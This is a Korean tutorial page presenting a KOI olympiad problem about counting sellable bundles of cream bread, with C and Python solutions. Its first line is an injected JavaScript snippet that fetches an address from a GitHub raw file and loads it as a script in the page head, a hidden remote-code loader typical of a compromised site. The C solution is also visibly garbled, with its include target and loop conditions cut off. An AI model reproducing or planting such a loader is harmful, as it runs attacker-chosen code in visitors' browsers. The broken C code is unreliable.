;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); [2교시] 01. 크림방 – 상상톤[강코딩]

[2교시] 01. 크림방

작성자
kangcoding
작성일
2024-05-06 12:28
조회
528

KOI 빵집에서는 크림을 넣은 빵을 판다. KOI 빵집은 총 N × K개의 빵을 만들었다. KOI 빵집은 일렬로 놓여 있는 빵을 앞에서부터 순서대로 K개씩 묶어서 한 묶음으로 판매할 것이다. 즉, 총 N개의 빵 묶음이 있다. 하지만 빵을 급하게 만드는 바람에, 빵 중 일부에는 크림이 들어있지 않다. 만약 크림이 없는 빵이 한 묶음에 P개 이상 있다면 그 묶음은 팔 수 없다.다시 말해, 빵 묶음은 K개의 빵 중 크림이 없는 빵이 P개 미만이어야 팔 수 있다.
각 빵에 크림이 들어 있는지에 대한 정보가 주어진다.

이 때 팔 수 있는 빵 묶음의 수를 출력하여라.

제약 조건

  • • 주어지는 모든 수는 정수이다.
  • • 1 ≤ N ≤ 50

  • • 1 ≤ K ≤ 50
  • • 1 ≤ P ≤ K

부분문제

  1. (5점) N = 1
  2. (5점) K = 1
  3. (5점) 모든 빵에 크림이 들어있거나, 모든 빵에 크림이 들어있지 않다.
  4. (10점) 같은 묶음에 속하는 빵들은 모두 크림이 들어있거나, 모두 크림이 들어있지 않다.
  5. (10점) P = 1
  6. (65점) 추가 제한 없음.

입력 형식

첫 번째 줄에 N, K, P가 공백을 하나 사이에 두고 주어진다.
두 번째 줄에는 앞쪽에 놓여있는 빵부터 순서대로 빵에 크림이 들어 있는지를 나타내는 정수가 공백을 사이에 두고 주어진다.
만약 0이 주어진다면 빵에 크림이 없는 것이고, 1이 주어진다면 빵에 크림이 있는 것이다.

출력 형식

첫 번째 줄에 팔 수 있는 빵 묶음의 수를 출력한다.

예제 1

표준 입력

2 3 2

1 1 0 1 0 0

표준 출력

1

========== 풀이 C =========

#include 
//N : 묶음수
//K : 묶음당 개수
//P : 크림빵이 없는 기준 개수
int main(){
    int N,K,P;
    int S = 0; //팔 수있는 빵 묶음 수
    int p = 0; //현재 묶음의 크림이 없는 빵의 개수
    int t;     //임시로 빵 정보를 받을 변수
    scanf("%d%d%d",&N,&K,&P);
    for(int i=0;i        p = 0;             // 크림이 없는 빵의 개수 초기화
        for(int j=0;j            scanf("%d",&t);
            if(t==0) p++;  // 크림이 없으면 카운트 
        }
        
        if(p < P) S++;     // 크림이 없는 빵이 P개 미만이면 묶음 개수 카운트
        
    }
    
    printf("%d\n",S);
    return 0;
    
}

========== 풀이 Python =========

N,K,P = map(int,input().split())
B = [int(x) for x in input().split()]
S = 0
for i in range(N):
    T = B[i*K:i*K+K]    # K개씩 슬라이스 
    if T.count(0) < P :
        S += 1
        
print(S)
전체 0